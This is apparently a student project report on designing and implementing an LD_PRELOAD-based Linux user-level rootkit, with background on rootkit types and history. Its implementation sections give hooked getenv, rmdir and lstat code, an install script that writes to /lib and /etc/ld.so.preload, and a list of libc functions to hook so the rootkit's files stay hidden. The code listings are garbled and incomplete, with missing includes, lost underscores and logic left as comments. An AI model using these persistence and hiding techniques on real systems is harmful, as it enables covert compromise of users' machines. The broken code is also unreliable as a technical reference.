User Level Rootkit: Computer Security Systems

• Hamid Tarmazdi
• Sohaib Irshad

 

1 Introduction

Let us have a look at the definition of the word. The word has two components, root and kit. Root is usually a UNIX/Linux term that is used for administrators just like we do in Windows. The word kit is used to denote the programs that allow someone to gain illegal access to root/admin level of the computer by executing some programs in the kit. All of this is done without the consent or knowledge of the end-user.

This document is the final report on the user level rootkit developed by our team. It contains new and updated information from previous documents. The general aspects are discussed to provide a overview on rootkits in general and specifically user level rootkits. Different features have been described with code snippets or pseudocode depending on complexity and length of the code. The aim has been to make this document as self sufficient as possible, so the reader can gain information on rootkits and user level rootkits and then proceed to details of implementing one.

2 Usage

There are two primary functions for rootkit.

• Backdoor remote command or control of the computer
• Software eavesdropping.

Rootkits are used to administratively control a computer, either through legitimate means or otherwise. This means that one can execute files, access logs, monitor the user activity and even able to change the computer configuration. If we consider the strict definition of rootkit, even some versions of VNC are rootkits.

One example of the rootkit use was by Sony BMG’s attempt to install a software on user machines to prevent copyright violations.

3 Propagation

Rootkits do not propagate by themselves. They are one single part of three part component which we call as Blended Threat. A blended threat has three snippets of code that are dropper, loader and rootkit itself.

Dropper initializes the installation of the rootkit. Dropper is usually activated through human intervention (read: error) for example clicking a malicious link. After it initiates, it executes loader program and then deletes itself to avoid any detection. After the loader has been activated, it causes a buffer overflow which then loads the rootkit into the memory. One of the recent examples of such an attack are through propagation of malicious links through social media sites (Facebook and Twitter). After clicking a malicious link, the rootkit takes control of the client and then sends out messages to every contact on the list. Other example is through Rich content such as PDF files. Just opening such files will execute dropper code and the rootkit is subsequently installed, infecting the computer.

4 Types of Rootkits

There are several types of rootkits that we can discuss.

4.1 User-mode rootkits

Such rootkits usually run on a computer with administrative rights. This allows the usermode rootkits to change security options and hide system processes, files, system drivers, block network ports and system services. These rootkits remain on the infected computer through copying of required files on target computer’s hard drive and launch automatically with every system reboot.

4.2 Kernel-mode rootkits

Because the user-mode rootkits can be found by rootkit detection software’s running in kernel mode, malware developers developed kernel mode rootkits. They placed the rootkit in the same level as operating system and rootkit detection software. In other words, the Operating system could not find the rootkit.

4.3 User-mode/kernel-mode hybrid rootkit

Some malware developers designed the hybrid of both the rootkits, user-mode for higher stability and kernel mode for greater stealth ability. It is the most successful and most popular rootkit at this moment.

4.4 Firmware rootkit

The next sophisticated form of rootkit is firmware rootkit. It is a very complex and harder to detect rootkit. It hides itself into the firmware of the computer and reinstall every time the PC gets rebooted. It can be installed with any firmware such as microprocessor code to PCI expansion card firmware.

4.5 Virtual rootkit

These are the most new kind of rootkit in the industry and the most difficult to detect. It acts like a software implementation of a hardware set in a manner similar to used by VMware. Such rootkits are almost invisible. One of the examples of such rootkits is Blue Pill.

5 Polymorphism and Detection of Rootkits

Polymorphism is one of the techniques that make us difficult to find and remove malwares such as rootkits. It is defined as the ability by the rootkit to rewrite the core assembly code that makes antivirus pr antispyware signature based defenses useless.

6 History

The term rootkit or root kit originally is attributed to maliciously modified set of admin- istrative tools in a Unix OS that is granted a ”root” access. If an intruder substitutes the standard administrative tools on a system with a program such as rootkit, the intruder could gain root access over the system whilst at the same time obscuring these activities from the legitimate system administrator. These rootkits known as first generation rootkits were easy to detect using the tools such as Tripwire. First documented computer virus was discovered in 1986. It used cloaking techniques to hide itself. The Brain virus intercepted many attempts to read the boot sector and then made sure these attacks are redirected to elsewhere on the disk. These disks contained confidential data and also a copy of the original boot sector. Over time, DOS-virus cloaking methods have become more sophisti- cated, with the usage of advanced techniques including the hooking of low-level disk INT 13H BIOS interrupt calls to hide unauthorized modifications to files.

7 Features

This section contains information on general functionalities of the rootkit developed by our team. Feature set is divided into small tasks and these tasks are individually completed and integrated.

7.1 Achieved functionality

Following is a detailed breakdown of the feature set including implementation details.

1. The rootkit shall be installed through modifying LD PRELOAD to pre-load our dynamic library with our functions to replace their original counterparts in standard C library.
2. The rootkit shall hide LD PRELOAD environment variable.
3. The rootkit shall start automatically on user login.
4. The mechanism of the rootkit must be hidden.

7.2 Subtasks

7.2.1 req.1

To achieve req.1 we have finished following sub tasks :

1. A sample C program which makes a call to a method from standard C library.
2. A sample dynamic library which redefines the function called in our program.
3. Modifying LD PRELOAD to preload our custom library.
4. Update the modified function to also run the original function in addition to the modified code to avoid breaking functionality.

Acceptance criteria req.1: After successfully executing sub-task #4 running the program created in sub-task #1 would result in execution of the modified function in our library created in sub-task #2 in addition to running the original function from standard C libraries. This gives the capability to spy on user program, modify its input/output,etc. Achieving req.1 allows us to run our code within a user program.

7.2.2 req.2

Following subtasks are finished for req.2.

1. Identify the functions used to retrieve LD PRELOAD by programs
2. Hook the functions to hide LD PRELOAD

Acceptance criteria req.2: The function to return environment variables is “getenv”, when hooked it should not return the value for LD PRELOAD.

7.2.3 req.3

To achieve req.3 following tasks have been perused:

1. Create a script for initiating the rootkit. We have created a pseudocode for our script which puts our preload library into “/lib”.
2. Modify /etc/ld.so.preload to include an entry for hooking the dynamic library we have placed in “/lib”.

Acceptance criteria req.3: A script which successfully copies the library and applies the changes to preload when executed.

7.2.4 req.4

To hide the rootkit, the rootkit file and entry must be hidden. For more detail on hiding please refer to Section 9.

1. Identify the functions involved in listing files: The functions are identified in Listing 6.
2. Hook these functions to hide our mechanism. Modified version of 6 out of 8 functions are coded.

Acceptance criteria req.4: In order to hide the rootkit, the folder containing the rootkit or the rootkit files and any script must be hidden in addition to hiding LD PRELOAD(req.2). The files and folder of the rootkit shall not be visible.

8 Implementation

Following we have details on implementation of the different features.

8.1 req.1

Sub-task 1:

Following C program is used as a sample program to demonstrate the mechanism.

Listing 1: Sample C Program

#include

main()

{

printf(“This is a valid program.”);

}

Sub-task 2:

We have used printf function as an example for demonstration of this feature, modified version is compiled into a shared dynamic library using the following commands: gcc -fPIC -c -o fakeprintf.o fakeprintf.c

gcc -shared -o libfakeprintf.so fakeprintf.o

Argument -fPIC is for position independent code to used in dynamic linking.

Listing 2: fakeprintf.c

#define GNU SOURCE #include

int printf(const char ∗format, …) {

}

Sub-task 3:

To modify LD PRELOAD we can run the following command: export LD PRELOAD=$PWD/libfakeprintf.so

 

Now when we run our sample C program there will be no output as the printf function in the modified library will get executed instead of the original printf.

Sub-task 4:

To run the original function in addition to the modified function, we need to obtain a pointer to the original function using “dlsym” [2] with the argument RTLD NEXT. Code in Listing 3 shows how “rmdir” has been hooked to prevent from removing the rootkit files while keeping the functionality of the said function intact everywhere else.

Listing 3: fakermdir.c

#define GNU SOURCE #include

int rmdir(const char ∗pathname) {

typeof(rmdir) ∗clean rmdir;

clean rmdir = dlsym(RTLD NEXT, “rmdir”); /*

return if pathname contains rootkit files */

return clean rmdir(pathname);

}

8.2 req.2

Sub-task 1:

The function to retrieve environment variables is “getenv” [1]. Sub-task 2:

The modified version in Listing 4 prevents from retrieving LD PRELOAD. However this method has not been successful in hiding the environment variable.

Listing 4: fakegetenv.c

#define GNU SOURCE #include

char ∗getenv(const char ∗name) {

typeof(getenv) ∗clean getenv;

clean getenv = dlsym(RTLD NEXT, “getenv”); /*

return zero if name contains LD_PRELOAD */

return clean getenv(name);

}

 

8.3 req.3

The script to install the rootkit follows the pseudocode 5.

Listing 5: install.sh

compile and copy rootkit.so to /lib remove source

modify /etc/ld.so.preload to hook rootkit.so export LD PRELOAD=$PWD/rootkit.so

8.4 req.4

Sub-task 1:

List of functions that need to be hooked are in Listing 6. More detail on hiding is provided

in Section 9.

Listing 6: functions

stat, fstat, lstat

Information about a file, Filter the rootkit files rmdir

Prevent removal opendir, fdopendir

Filter the rootkit directory readdir, readdir r

Prevent reading the rootkit directory

Sub-task 2:

We have coded the hooked functions for stat, fstat, lstat, rmdir, readdir, readdir r. More detail on how to hide the rootkit by hooking this functions in next section.

9 Hiding

Due to their importance the hiding techniques are discussed in more detail in this section. To hide the files/folders the functions which are used to access or get information on these must be hooked. To have a bash which does not show the rootkit files the LD PRELOAD for running the bash have to be hooked:

LD PRELOAD=/lib/libselinux.so bash -l

The list of functions to be hooked for this purpose is listed in Listing 6, the method on hiding the file/folder is similar so one example is given in Listing 7. All the functions in Listing 6 must be hooked according to the example in Listing 7.

 

Listing 7: Hiding the rootkit

#define GNU SOURCE #include

int lstat(const char ∗file, struct stat ∗buffer) {

if(to be hidden(file)) {

errno = ENOENT; return −1;

}

return clean lstat(file,buffer);

}

The function “to be hidden” returns true for each of the files(example:rootkit.so or ld.so.preload) or folders containing files related to the rootkit. Applying this hook to functions in Listing 6 will cause them to skip any file related to the rootkit.

References

[1] Linux man page – getenv. http://linux.die.net/man/3/getenv [2] Linux man page – dlsym. http://linux.die.net/man/3/dlsym